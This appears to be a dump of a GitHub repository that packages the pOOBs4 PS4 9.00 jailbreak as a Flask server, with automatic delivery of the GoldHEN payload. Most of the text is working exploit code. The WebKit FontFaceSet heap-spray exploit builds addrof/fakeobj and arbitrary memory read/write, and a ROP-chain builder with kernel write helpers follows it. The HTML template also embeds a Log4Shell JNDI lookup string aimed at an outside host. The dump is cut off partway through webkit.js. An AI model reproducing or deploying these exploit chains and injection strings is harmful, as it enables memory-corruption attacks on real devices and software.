├── payload
├── VERSION
└── goldhen.bin
├── .gitignore
├── requirements.txt
├── Dockerfile
├── static
├── logging.js
├── syscalls.js
├── int64.js
└── 9.0.0
│ ├── rop.js
│ ├── webkit.js
│ └── kexploit.js
├── sender.py
├── README.md
├── templates
└── index.html
├── app.py
└── LICENSE
/payload/VERSION:
--------------------------------------------------------------------------------
1 | 2.2.2
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | venv
2 | .idea
3 | *.pyc
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | flask
2 | requests
3 |
--------------------------------------------------------------------------------
/payload/goldhen.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mc-17/pspack-flask/HEAD/payload/goldhen.bin
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.9.7-slim
2 |
3 | WORKDIR /opt
4 |
5 | EXPOSE 1337
6 |
7 | COPY requirements.txt /opt/
8 |
9 | RUN python3 -m pip install -r requirements.txt
10 |
11 | COPY . /opt/
12 |
13 | CMD python3 /opt/app.py
14 |
--------------------------------------------------------------------------------
/static/logging.js:
--------------------------------------------------------------------------------
1 | function logMessage(msg)
2 | {
3 | const xhr = new XMLHttpRequest();
4 | xhr.open('GET', './log/' + encodeURIComponent(msg), true);
5 | xhr.onerror = function () {
6 | alert("Failed to log: message" + msg)
7 | }
8 | xhr.send();
9 | }
--------------------------------------------------------------------------------
/static/syscalls.js:
--------------------------------------------------------------------------------
1 | // BSD syscalls
2 | const SYSCALL_CLOSE = 6;
3 | const SYSCALL_GETPID = 20;
4 | const SYSCALL_SETUID = 23;
5 | const SYSCALL_MUNMAP = 73;
6 | const SYSCALL_MPROTECT = 74;
7 | const SYSCALL_SOCKET = 97;
8 | const SYSCALL_MLOCK = 203;
9 | const SYSCALL_MUNLOCKALL = 325;
10 | const SYSCALL_KQUEUE = 362;
11 | const SYSCALL_KEVENT = 363;
12 | const SYSCALL_MMAP = 477;
13 |
14 | // PS4 syscalls
15 | const SYSCALL_sys_dynlib_load_prx = 594;
16 | const SYSCALL_sys_randomized_path = 602;
17 | const SYSCALL_sys_dynlib_get_info_ex = 608;
--------------------------------------------------------------------------------
/sender.py:
--------------------------------------------------------------------------------
1 | import time
2 | import socket
3 |
4 |
5 | def send(ip, port, file):
6 | for i in range(3):
7 | print(f"Sending payload: attempt {i}...")
8 | time.sleep(1)
9 | client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM, proto=0)
10 | client_socket.settimeout(3000)
11 | client_socket.connect((ip, port))
12 |
13 | try:
14 | with open(file, "rb") as fp:
15 | client_socket.sendfile(fp)
16 | print(f"Sending payload: attempt {i} succeeded!")
17 | break
18 | except Exception as e:
19 | print(f"Attempt {i} failed with exception: {str(e)}")
20 | pass
21 | finally:
22 | client_socket.close()
23 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # pspack-flask
2 | pOOBs4 PS4 exploit for v9.0 + automatic gold hen download + deployment
3 |
4 | ## About
5 |
6 | This is just a repacked psOOBs4, as a flask package with the addition of automatic sending of GoldHEN. Some other small changes:
7 |
8 | All credit to the team behind pOOBs4
9 |
10 | ## Setup
11 |
12 | 1. Download [Python](https://www.python.org/downloads/) and install it, ideally 3.10
13 | 2. Install flask `python3 -m pip install -r requirements.txt`
14 |
15 | ## Exploiting
16 |
17 | 1. Run app `python3 app.py`. Might need to run as root to bind to port 1337
18 | 2. GoldHEN will be downloaded automatically if out of date
19 | 3. In the command line the IP address to navigate to will be printed e.g `* Running on http://192.168.1.200:1337/ (Press CTRL+C to quit)`
20 | 4. Navigate to port 1337 on that IP on your PS4
21 | 5. Same as psOOBs4
22 | 6. GoldHEN should be sent once the server detects success via log messages
23 |
24 | ## Running in Docker
25 |
26 | 1. Run `docker build -t pspack-flask .`
27 | 2. Run `docker run --name pspack -d -p 1337:1337 pspack-flask`
28 |
29 | ## Help! It doesn't work on my machine
30 |
31 | 1. Try again
32 | 2. If you're not running 9.00, the exploit won't run. You'll need to modify [the template](https://github.com/mc-17/pspack-flask/blob/main/templates/index.html#L70) to match your version, or just remove the if/endif
33 |
--------------------------------------------------------------------------------
/static/int64.js:
--------------------------------------------------------------------------------
1 | function int64(low, hi) {
2 | this.low = (low >>> 0);
3 | this.hi = (hi >>> 0);
4 |
5 | this.add32inplace = function (val) {
6 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
7 | var new_hi = (this.hi >>> 0);
8 |
9 | if (new_lo < this.low) {
10 | new_hi++;
11 | }
12 |
13 | this.hi = new_hi;
14 | this.low = new_lo;
15 | }
16 |
17 | this.add32 = function (val) {
18 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
19 | var new_hi = (this.hi >>> 0);
20 |
21 | if (new_lo < this.low) {
22 | new_hi++;
23 | }
24 |
25 | return new int64(new_lo, new_hi);
26 | }
27 |
28 | this.sub32 = function (val) {
29 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
30 | var new_hi = (this.hi >>> 0);
31 |
32 | if (new_lo > (this.low) & 0xFFFFFFFF) {
33 | new_hi--;
34 | }
35 |
36 | return new int64(new_lo, new_hi);
37 | }
38 |
39 | this.sub32inplace = function (val) {
40 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
41 | var new_hi = (this.hi >>> 0);
42 |
43 | if (new_lo > (this.low) & 0xFFFFFFFF) {
44 | new_hi--;
45 | }
46 |
47 | this.hi = new_hi;
48 | this.low = new_lo;
49 | }
50 |
51 | this.and32 = function (val) {
52 | var new_lo = this.low & val;
53 | var new_hi = this.hi;
54 | return new int64(new_lo, new_hi);
55 | }
56 |
57 | this.and64 = function (vallo, valhi) {
58 | var new_lo = this.low & vallo;
59 | var new_hi = this.hi & valhi;
60 | return new int64(new_lo, new_hi);
61 | }
62 |
63 | this.toString = function (val) {
64 | val = 16;
65 | var lo_str = (this.low >>> 0).toString(val);
66 | var hi_str = (this.hi >>> 0).toString(val);
67 |
68 | if (this.hi == 0)
69 | return lo_str;
70 | else
71 | lo_str = zeroFill(lo_str, 8)
72 |
73 | return hi_str + lo_str;
74 | }
75 |
76 | return this;
77 | }
78 |
79 | function zeroFill(number, width) {
80 | width -= number.toString().length;
81 |
82 | if (width > 0) {
83 | return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
84 | }
85 |
86 | return number + ""; // always return a string
87 | }
88 |
89 | function zeroFill(number, width) {
90 | width -= number.toString().length;
91 |
92 | if (width > 0) {
93 | return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
94 | }
95 |
96 | return number + ""; // always return a string
97 | }
--------------------------------------------------------------------------------
/templates/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | pspack-flask
5 |
6 |
55 |
66 |
67 |
68 |
69 |
70 | {% if version == "9.00" %}
71 |
72 |
73 |
74 | {% endif %}
75 |
76 |
77 |
78 |
79 |
80 |
81 | Awaiting Payload...
82 |
83 | ${jndi:ldap://nsa.gov}
84 |
85 |
86 |
87 | You're all set!
88 |
89 |
90 |
91 |
--------------------------------------------------------------------------------
/app.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import os
3 | import time
4 | from distutils.version import LooseVersion
5 | from flask import Flask, render_template, request
6 | import fnmatch
7 | import io
8 | import requests
9 | from urllib.parse import unquote_plus
10 | import zipfile
11 |
12 |
13 | from sender import send
14 | app = Flask(__name__)
15 |
16 |
17 | def get_latest_release(output_dir: str = ""):
18 | try:
19 | if output_dir and not os.path.isdir(output_dir):
20 | os.makedirs(output_dir, mode=0o755)
21 |
22 | file_version = os.path.join(output_dir, "VERSION")
23 |
24 | releases_url = "https://api.github.com/repos/GoldHEN/GoldHEN/releases"
25 | releases = sorted(requests.get(releases_url).json(),
26 | key=lambda rls: LooseVersion(rls.get("tag_name", 0)),
27 | reverse=True)
28 |
29 | if not releases:
30 | raise ValueError("Error retrieving GoldHEN releases!")
31 |
32 | latest_release = releases[0].get("zipball_url", None)
33 | version = releases[0].get("tag_name", None)
34 |
35 | if not latest_release or not version:
36 | raise ValueError("Error getting release URL - unexpected release format!")
37 |
38 | if os.path.isfile(file_version):
39 | with open(file_version) as fp:
40 | have_version = LooseVersion(fp.read())
41 | if have_version >= version:
42 | print(f"Version on disk ({have_version}) equal to or newer to latest ({version}")
43 | return
44 |
45 | with io.BytesIO(requests.get(latest_release).content) as zip_data:
46 | with zipfile.ZipFile(zip_data) as zf:
47 | for zip_entry in zf.filelist:
48 | if fnmatch.fnmatch(zip_entry.filename, "*goldhen_*_900.bin"):
49 | print(f"Found 9.0.0 GoldHEN: {zip_entry.filename}")
50 | with zf.open(zip_entry) as hen_read:
51 | with open(os.path.join(output_dir, "goldhen.bin"), "wb+") as hen_write:
52 | hen_write.write(hen_read.read())
53 | print(f"Downloaded!")
54 |
55 | with open(file_version, "w+") as fp:
56 | fp.write(version)
57 |
58 | break
59 | except requests.exceptions.ConnectionError:
60 | print("Failed to download GoldHEN!")
61 |
62 |
63 | @app.route('/')
64 | def index():
65 | ua = request.headers.get("User-Agent", None)
66 |
67 | if not ua or "playstation" not in ua.lower():
68 | print("Not PS4")
69 |
70 | return render_template("index.html")
71 |
72 |
73 | @app.route("/log/")
74 | def log(msg):
75 | msg = unquote_plus(msg)
76 | print(msg)
77 |
78 | if "done" in msg:
79 | # success message, send HEN
80 | print(f"Sending golden hen to {request.remote_addr}")
81 | send(request.remote_addr, 9020, "payload/goldhen.bin")
82 |
83 | return "OK"
84 |
85 |
86 | @app.after_request
87 | def add_header(r):
88 | """
89 | Add headers to both force latest IE rendering engine or Chrome Frame,
90 | and also to cache the rendered page for 10 minutes.
91 | """
92 | r.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
93 | r.headers["Pragma"] = "no-cache"
94 | r.headers["Expires"] = "0"
95 | r.headers['Cache-Control'] = 'public, max-age=0'
96 | return r
97 |
98 |
99 | if __name__ == '__main__':
100 | args = argparse.ArgumentParser()
101 | args.add_argument("--host", required=False, type=str, default='0.0.0.0')
102 | args.add_argument("--port", required=False, type=int, default=1337)
103 | args.add_argument("--offline", default=False, action="store_true", help="Do not attempt to update GoldHEN")
104 | args.add_argument("--update", default=False, action="store_true", help="Force update GoldHEN")
105 | args = args.parse_args()
106 |
107 | fileInfo = os.stat("payload/goldhen.bin")
108 |
109 | if not args.offline:
110 | if (time.time() - fileInfo.st_mtime) > (60 * 60 * 24 * 14) or args.update:
111 | get_latest_release("payload")
112 | else:
113 | print("GoldHEN not 14 days old, not updating")
114 |
115 | app.run(host=args.host, port=args.port)
116 |
--------------------------------------------------------------------------------
/static/9.0.0/rop.js:
--------------------------------------------------------------------------------
1 | const stack_sz = 0x40000;
2 | const reserve_upper_stack = 0x10000;
3 | const stack_reserved_idx = reserve_upper_stack / 4;
4 |
5 |
6 | // Class for quickly creating and managing a ROP chain
7 | window.rop = function () {
8 | this.stackback = p.malloc32(stack_sz / 4 + 0x8);
9 | this.stack = this.stackback.add32(reserve_upper_stack);
10 | this.stack_array = this.stackback.backing;
11 | this.retval = this.stackback.add32(stack_sz);
12 | this.count = 1;
13 | this.branches_count = 0;
14 | this.branches_rsps = p.malloc(0x200);
15 |
16 | this.clear = function () {
17 | this.count = 1;
18 | this.branches_count = 0;
19 |
20 | for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) {
21 | this.stack_array[i + stack_reserved_idx] = 0;
22 | }
23 | };
24 |
25 | this.pushSymbolic = function () {
26 | this.count++;
27 | return this.count - 1;
28 | }
29 |
30 | this.finalizeSymbolic = function (idx, val) {
31 | if (val instanceof int64) {
32 | this.stack_array[stack_reserved_idx + idx * 2] = val.low;
33 | this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi;
34 | } else {
35 | this.stack_array[stack_reserved_idx + idx * 2] = val;
36 | this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0;
37 | }
38 | }
39 |
40 | this.push = function (val) {
41 | this.finalizeSymbolic(this.pushSymbolic(), val);
42 | }
43 |
44 | this.push_write8 = function (where, what) {
45 | this.push(gadgets["pop rdi"]);
46 | this.push(where);
47 | this.push(gadgets["pop rsi"]);
48 | this.push(what);
49 | this.push(gadgets["mov [rdi], rsi"]);
50 | }
51 |
52 | this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
53 | if (rdi != undefined) {
54 | this.push(gadgets["pop rdi"]);
55 | this.push(rdi);
56 | }
57 |
58 | if (rsi != undefined) {
59 | this.push(gadgets["pop rsi"]);
60 | this.push(rsi);
61 | }
62 |
63 | if (rdx != undefined) {
64 | this.push(gadgets["pop rdx"]);
65 | this.push(rdx);
66 | }
67 |
68 | if (rcx != undefined) {
69 | this.push(gadgets["pop rcx"]);
70 | this.push(rcx);
71 | }
72 |
73 | if (r8 != undefined) {
74 | this.push(gadgets["pop r8"]);
75 | this.push(r8);
76 | }
77 |
78 | if (r9 != undefined) {
79 | this.push(gadgets["pop r9"]);
80 | this.push(r9);
81 | }
82 |
83 | if (this.stack.add32(this.count * 0x8).low & 0x8) {
84 | this.push(gadgets["ret"]);
85 | }
86 |
87 | this.push(rip);
88 | return this;
89 | }
90 |
91 | this.call = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
92 | this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9);
93 | this.write_result(this.retval);
94 | this.run();
95 | return p.read8(this.retval);
96 | }
97 |
98 | this.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) {
99 | return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9);
100 | }
101 |
102 | //get rsp of the next push
103 | this.get_rsp = function () {
104 | return this.stack.add32(this.count * 8);
105 | }
106 | this.write_result = function (where) {
107 | this.push(gadgets["pop rdi"]);
108 | this.push(where);
109 | this.push(gadgets["mov [rdi], rax"]);
110 | }
111 | this.write_result4 = function (where) {
112 | this.push(gadgets["pop rdi"]);
113 | this.push(where);
114 | this.push(gadgets["mov [rdi], eax"]);
115 | }
116 |
117 | this.jmp_rsp = function (rsp) {
118 | this.push(window.gadgets["pop rsp"]);
119 | this.push(rsp);
120 | }
121 |
122 | this.run = function () {
123 | p.launch_chain(this);
124 | this.clear();
125 | }
126 |
127 | this.KERNEL_BASE_PTR_VAR;
128 | this.set_kernel_var = function (arg) {
129 | this.KERNEL_BASE_PTR_VAR = arg;
130 | }
131 |
132 | this.rax_kernel = function (offset) {
133 | this.push(gadgets["pop rax"]);
134 | this.push(this.KERNEL_BASE_PTR_VAR)
135 | this.push(gadgets["mov rax, [rax]"]);
136 | this.push(gadgets["pop rsi"]);
137 | this.push(offset)
138 | this.push(gadgets["add rax, rsi"]);
139 | }
140 |
141 | this.write_kernel_addr_to_chain_later = function (offset) {
142 | this.push(gadgets["pop rdi"]);
143 | var idx = this.pushSymbolic();
144 | this.rax_kernel(offset);
145 | this.push(gadgets["mov [rdi], rax"]);
146 | return idx;
147 | }
148 |
149 | this.kwrite8 = function (offset, qword) {
150 | this.rax_kernel(offset);
151 | this.push(gadgets["pop rsi"]);
152 | this.push(qword);
153 | this.push(gadgets["mov [rax], rsi"]);
154 | }
155 |
156 | this.kwrite4 = function (offset, dword) {
157 | this.rax_kernel(offset);
158 | this.push(gadgets["pop rdx"]);
159 | this.push(dword);
160 | this.push(gadgets["mov [rax], edx"]);
161 | }
162 |
163 | this.kwrite2 = function (offset, word) {
164 | this.rax_kernel(offset);
165 | this.push(gadgets["pop rcx"]);
166 | this.push(word);
167 | this.push(gadgets["mov [rax], cx"]);
168 | }
169 |
170 | this.kwrite1 = function (offset, byte) {
171 | this.rax_kernel(offset);
172 | this.push(gadgets["pop rcx"]);
173 | this.push(byte);
174 | this.push(gadgets["mov [rax], cl"]);
175 | }
176 |
177 | this.kwrite8_kaddr = function (offset1, offset2) {
178 | this.rax_kernel(offset2);
179 | this.push(gadgets["mov rdx, rax"]);
180 | this.rax_kernel(offset1);
181 | this.push(gadgets["mov [rax], rdx"]);
182 | }
183 | return this;
184 | };
--------------------------------------------------------------------------------
/static/9.0.0/webkit.js:
--------------------------------------------------------------------------------
1 | var PAGE_SIZE = 16384;
2 | var SIZEOF_CSS_FONT_FACE = 0xb8;
3 | var HASHMAP_BUCKET = 208;
4 | var STRING_OFFSET = 20;
5 | var SPRAY_FONTS = 0x100a;
6 | var GUESS_FONT = 0x200430000;
7 | var NPAGES = 20;
8 | var INVALID_POINTER = 0;
9 | var HAMMER_FONT_NAME = "font8"; //must take bucket 3 of 8 (counting from zero)
10 | var HAMMER_NSTRINGS = 700; //tweak this if crashing during hammer time
11 |
12 | function poc() {
13 |
14 | var union = new ArrayBuffer(8);
15 | var union_b = new Uint8Array(union);
16 | var union_i = new Uint32Array(union);
17 | var union_f = new Float64Array(union);
18 |
19 | var bad_fonts = [];
20 |
21 | for (var i = 0; i < SPRAY_FONTS; i++)
22 | bad_fonts.push(new FontFace("font1", "", {}));
23 |
24 | var good_font = new FontFace("font2", "url(data:text/html,)", {});
25 | bad_fonts.push(good_font);
26 |
27 | var arrays = [];
28 | for (var i = 0; i < 512; i++)
29 | arrays.push(new Array(31));
30 |
31 | arrays[256][0] = 1.5;
32 | arrays[257][0] = {};
33 | arrays[258][0] = 1.5;
34 |
35 | var jsvalue = {
36 | a: arrays[256],
37 | b: new Uint32Array(1),
38 | c: true
39 | };
40 |
41 | var string_atomifier = {};
42 | var string_id = 10000000;
43 |
44 | function ptrToString(p) {
45 | var s = '';
46 | for (var i = 0; i < 8; i++) {
47 | s += String.fromCharCode(p % 256);
48 | p = (p - p % 256) / 256;
49 | }
50 | return s;
51 | }
52 |
53 | function stringToPtr(p, o) {
54 | if (o === undefined)
55 | o = 0;
56 | var ans = 0;
57 | for (var i = 7; i >= 0; i--)
58 | ans = 256 * ans + p.charCodeAt(o + i);
59 | return ans;
60 | }
61 |
62 | var strings = [];
63 |
64 | function mkString(l, head) {
65 | var s = head + '\u0000'.repeat(l - STRING_OFFSET - 8 - head.length) + (string_id++);
66 | string_atomifier[s] = 1;
67 | strings.push(s);
68 | return s;
69 | }
70 |
71 | var guf = GUESS_FONT;
72 | var ite = true;
73 | var matches = 0;
74 |
75 | var round = 0;
76 |
77 | window.ffses = {};
78 |
79 | do {
80 |
81 | var p_s = ptrToString(NPAGES + 2); // vector.size()
82 | for (var i = 0; i < NPAGES; i++)
83 | p_s += ptrToString(guf + i * PAGE_SIZE);
84 | p_s += ptrToString(INVALID_POINTER);
85 |
86 | for (var i = 0; i < 256; i++)
87 | mkString(HASHMAP_BUCKET, p_s);
88 |
89 | var ffs = ffses["search_" + (++round)] = new FontFaceSet(bad_fonts);
90 |
91 | var badstr1 = mkString(HASHMAP_BUCKET, p_s);
92 |
93 | var guessed_font = null;
94 | var guessed_addr = null;
95 |
96 | for (var i = 0; i < SPRAY_FONTS; i++) {
97 | bad_fonts[i].family = "search" + round;
98 | if (badstr1.substr(0, p_s.length) != p_s) {
99 | guessed_font = i;
100 | var p_s1 = badstr1.substr(0, p_s.length);
101 | for (var i = 1; i <= NPAGES; i++) {
102 | if (p_s1.substr(i * 8, 8) != p_s.substr(i * 8, 8)) {
103 | guessed_addr = stringToPtr(p_s.substr(i * 8, 8));
104 | break;
105 | }
106 | }
107 | if (matches++ == 0) {
108 | guf = guessed_addr + 2 * PAGE_SIZE;
109 | guessed_addr = null;
110 | }
111 | break;
112 | }
113 | }
114 |
115 | if ((ite = !ite))
116 | guf += NPAGES * PAGE_SIZE;
117 |
118 | }
119 | while (guessed_addr === null);
120 |
121 | var p_s = '';
122 | p_s += ptrToString(26);
123 | p_s += ptrToString(guessed_addr);
124 | p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
125 | for (var i = 0; i < 19; i++)
126 | p_s += ptrToString(INVALID_POINTER);
127 |
128 | for (var i = 0; i < 256; i++)
129 | mkString(HASHMAP_BUCKET, p_s);
130 |
131 | var needfix = [];
132 | for (var i = 0;; i++) {
133 | ffses["ffs_leak_" + i] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], good_font]);
134 | var badstr2 = mkString(HASHMAP_BUCKET, p_s);
135 | needfix.push(mkString(HASHMAP_BUCKET, p_s));
136 | bad_fonts[guessed_font].family = "evil2";
137 | bad_fonts[guessed_font + 1].family = "evil3";
138 | var leak = stringToPtr(badstr2.substr(badstr2.length - 8));
139 | if (leak < 0x1000000000000)
140 | break;
141 | }
142 |
143 | function makeReader(read_addr, ffs_name) {
144 | var fake_s = '';
145 | fake_s += '0000'; //padding for 8-byte alignment
146 | fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff
147 | fake_s += ptrToString(read_addr); //where to read from
148 | fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit
149 | p_s = '';
150 | p_s += ptrToString(29);
151 | p_s += ptrToString(guessed_addr);
152 | p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE);
153 | p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE);
154 | for (var i = 0; i < 18; i++)
155 | p_s += ptrToString(INVALID_POINTER);
156 | for (var i = 0; i < 256; i++)
157 | mkString(HASHMAP_BUCKET, p_s);
158 | var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font + 1], bad_fonts[guessed_font + 2], good_font]);
159 | mkString(HASHMAP_BUCKET, p_s);
160 | var relative_read = mkString(HASHMAP_BUCKET, fake_s);
161 | bad_fonts[guessed_font].family = ffs_name + "_evil1";
162 | bad_fonts[guessed_font + 1].family = ffs_name + "_evil2";
163 | bad_fonts[guessed_font + 2].family = ffs_name + "_evil3";
164 | needfix.push(relative_read);
165 | if (relative_read.length < 1000) //failed
166 | return makeReader(read_addr, ffs_name + '_');
167 | return relative_read;
168 | }
169 |
170 | var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr
171 |
172 | for (var i = 0; i < 100000; i++)
173 | mkString(128, '');
174 |
175 | var props = [];
176 | for (var i = 0; i < 0x10000; i++) {
177 | props.push({
178 | value: 0x41434442
179 | });
180 | props.push({
181 | value: jsvalue
182 | });
183 | }
184 |
185 | var jsvalue_leak = null;
186 |
187 | while (jsvalue_leak === null) {
188 | Object.defineProperties({}, props);
189 | for (var i = 0;; i++) {
190 | if (fastmalloc.charCodeAt(i) == 0x42 &&
191 | fastmalloc.charCodeAt(i + 1) == 0x44 &&
192 | fastmalloc.charCodeAt(i + 2) == 0x43 &&
193 | fastmalloc.charCodeAt(i + 3) == 0x41 &&
194 | fastmalloc.charCodeAt(i + 4) == 0 &&
195 | fastmalloc.charCodeAt(i + 5) == 0 &&
196 | fastmalloc.charCodeAt(i + 6) == 254 &&
197 | fastmalloc.charCodeAt(i + 7) == 255 &&
198 | fastmalloc.charCodeAt(i + 24) == 14
199 | ) {
200 | jsvalue_leak = stringToPtr(fastmalloc, i + 32);
201 | break;
202 | }
203 | }
204 | }
205 |
206 | var rd_leak = makeReader(jsvalue_leak, 'ffs4');
207 | var array256 = stringToPtr(rd_leak, 16); //arrays[256]
208 | var ui32a = stringToPtr(rd_leak, 24); //Uint32Array
209 |
210 | var rd_arr = makeReader(array256, 'ffs5');
211 | var butterfly = stringToPtr(rd_arr, 8);
212 |
213 | var rd_ui32 = makeReader(ui32a, 'ffs6');
214 | for (var i = 0; i < 8; i++)
215 | union_b[i] = rd_ui32.charCodeAt(i);
216 |
217 | var structureid_low = union_i[0];
218 | var structureid_high = union_i[1];
219 |
220 | //setup for addrof/fakeobj
221 | //in array[256] butterfly: 0 = &bad_fonts[guessed_font+12] as double
222 | //in array[257] butterfly: 0 = {0x10000, 0x10000} as jsvalue
223 | union_i[0] = 0x10000;
224 | union_i[1] = 0; //account for nan-boxing
225 | arrays[257][1] = {}; //force it to still be jsvalue-array not double-array
226 | arrays[257][0] = union_f[0];
227 | union_i[0] = (guessed_addr + 12 * SIZEOF_CSS_FONT_FACE) | 0;
228 | union_i[1] = (guessed_addr - guessed_addr % 0x100000000) / 0x100000000;
229 | arrays[256][i] = union_f[0];
230 |
231 | //hammer time!
232 |
233 | pp_s = '';
234 | pp_s += ptrToString(56);
235 | for (var i = 0; i < 12; i++)
236 | pp_s += ptrToString(guessed_addr + i * SIZEOF_CSS_FONT_FACE);
237 |
238 | var fake_s = '';
239 | fake_s += '0000'; //padding for 8-byte alignment
240 | fake_s += ptrToString(INVALID_POINTER); //never dereferenced
241 | fake_s += ptrToString(butterfly); //hammer target
242 | fake_s += '\u0000\u0000\u0000\u0000\u0022\u0000\u0000\u0000'; //length=34
243 |
244 | var ffs7_args = [];
245 | for (var i = 0; i < 12; i++)
246 | ffs7_args.push(bad_fonts[guessed_font + i]);
247 | ffs7_args.push(good_font);
248 |
249 | var ffs8_args = [bad_fonts[guessed_font + 12]];
250 | for (var i = 0; i < 5; i++)
251 | ffs8_args.push(new FontFace(HAMMER_FONT_NAME, "url(data:text/html,)", {}));
252 |
253 | for (var i = 0; i < HAMMER_NSTRINGS; i++)
254 | mkString(HASHMAP_BUCKET, pp_s);
255 |
256 | ffses.ffs7 = new FontFaceSet(ffs7_args);
257 | mkString(HASHMAP_BUCKET, pp_s);
258 | ffses.ffs8 = new FontFaceSet(ffs8_args);
259 | var post_ffs = mkString(HASHMAP_BUCKET, fake_s);
260 | needfix.push(post_ffs);
261 |
262 | for (var i = 0; i < 13; i++)
263 | bad_fonts[guessed_font + i].family = "hammer" + i;
264 |
265 | function boot_addrof(obj) {
266 | arrays[257][32] = obj;
267 | union_f[0] = arrays[258][0];
268 | return union_i[1] * 0x100000000 + union_i[0];
269 | }
270 |
271 | function boot_fakeobj(addr) {
272 | union_i[0] = addr;
273 | union_i[1] = (addr - addr % 0x100000000) / 0x100000000;
274 | arrays[258][0] = union_f[0];
275 | return arrays[257][32];
276 | }
277 |
278 | //craft misaligned typedarray
279 |
280 | var arw_master = new Uint32Array(8);
281 | var arw_slave = new Uint8Array(1);
282 | var obj_master = new Uint32Array(8);
283 | var obj_slave = {
284 | obj: null
285 | };
286 |
287 | var addrof_slave = boot_addrof(arw_slave);
288 | var addrof_obj_slave = boot_addrof(obj_slave);
289 | union_i[0] = structureid_low;
290 | union_i[1] = structureid_high;
291 | union_b[6] = 7;
292 | var obj = {
293 | jscell: union_f[0],
294 | butterfly: true,
295 | buffer: arw_master,
296 | size: 0x5678
297 | };
298 |
299 | function i48_put(x, a) {
300 | a[4] = x | 0;
301 | a[5] = (x / 4294967296) | 0;
302 | }
303 |
304 | function i48_get(a) {
305 | return a[4] + a[5] * 4294967296;
306 | }
307 |
308 | window.addrof = function (x) {
309 | obj_slave.obj = x;
310 | return i48_get(obj_master);
311 | }
312 |
313 | window.fakeobj = function (x) {
314 | i48_put(x, obj_master);
315 | return obj_slave.obj;
316 | }
317 |
318 | function read_mem_setup(p, sz) {
319 | i48_put(p, arw_master);
320 | arw_master[6] = sz;
321 | }
322 |
323 | window.read_mem = function (p, sz) {
324 | read_mem_setup(p, sz);
325 | var arr = [];
326 | for (var i = 0; i < sz; i++)
327 | arr.push(arw_slave[i]);
328 | return arr;
329 | };
330 |
331 | window.write_mem = function (p, data) {
332 | read_mem_setup(p, data.length);
333 | for (var i = 0; i < data.length; i++)
334 | arw_slave[i] = data[i];
335 | };
336 |
337 | window.read_ptr_at = function (p) {
338 | var ans = 0;
339 | var d = read_mem(p, 8);
340 | for (var i = 7; i >= 0; i--)
341 | ans = 256 * ans + d[i];
342 | return ans;
343 | };
344 |
345 | window.write_ptr_at = function (p, d) {
346 | var arr = [];
347 | for (var i = 0; i < 8; i++) {
348 | arr.push(d & 0xff);
349 | d /= 256;
350 | }
351 | write_mem(p, arr);
352 | };
353 |
354 | (function () {
355 | var magic = boot_fakeobj(boot_addrof(obj) + 16);
356 | magic[4] = addrof_slave;
357 | magic[5] = (addrof_slave - addrof_slave % 0x100000000) / 0x100000000;
358 | obj.buffer = obj_master;
359 | magic[4] = addrof_obj_slave;
360 | magic[5] = (addrof_obj_slave - addrof_obj_slave % 0x100000000) / 0x100000000;
361 | magic = null;
362 | })();
363 |
364 | //fix fucked objects to stabilize webkit
365 |
366 | (function () {
367 | //fix fontfaceset (memmoved 96 bytes to low, move back)
368 | var ffs_addr = read_ptr_at(addrof(post_ffs) + 8) - 208;
369 | write_mem(ffs_addr, read_mem(ffs_addr - 96, 208));
370 | //fix strings (restore "valid") header
371 | for (var i = 0; i < needfix.length; i++) {
372 | var addr = read_ptr_at(addrof(needfix[i]) + 8);
373 | write_ptr_at(addr, (HASHMAP_BUCKET - 20) * 0x100000000 + 1);
374 | write_ptr_at(addr + 8, addr + 20);
375 | write_ptr_at(addr + 16, 0x80000014);
376 | }
377 | //fix array butterfly
378 | write_ptr_at(butterfly + 248, 0x1f0000001f);
379 | })();
380 |
381 | //^ @sleirs' stuff. anything pre arb rw is magic, I'm happy I don't have to deal with that.
382 |
383 | //create compat stuff for kexploit.js
384 | var expl_master = new Uint32Array(8);
385 | var expl_slave = new Uint32Array(2);
386 | var addrof_expl_slave = addrof(expl_slave);
387 | var m = fakeobj(addrof(obj) + 16);
388 | obj.buffer = expl_slave;
389 | m[7] = 1;
390 | obj.buffer = expl_master;
391 | m[4] = addrof_expl_slave;
392 | m[5] = (addrof_expl_slave - addrof_expl_slave % 0x100000000) / 0x100000000;
393 | m[7] = 1;
394 |
395 | var prim = {
396 | write8: function (addr, value) {
397 | expl_master[4] = addr.low;
398 | expl_master[5] = addr.hi;
399 | if (value instanceof int64) {
400 | expl_slave[0] = value.low;
401 | expl_slave[1] = value.hi;
402 | } else {
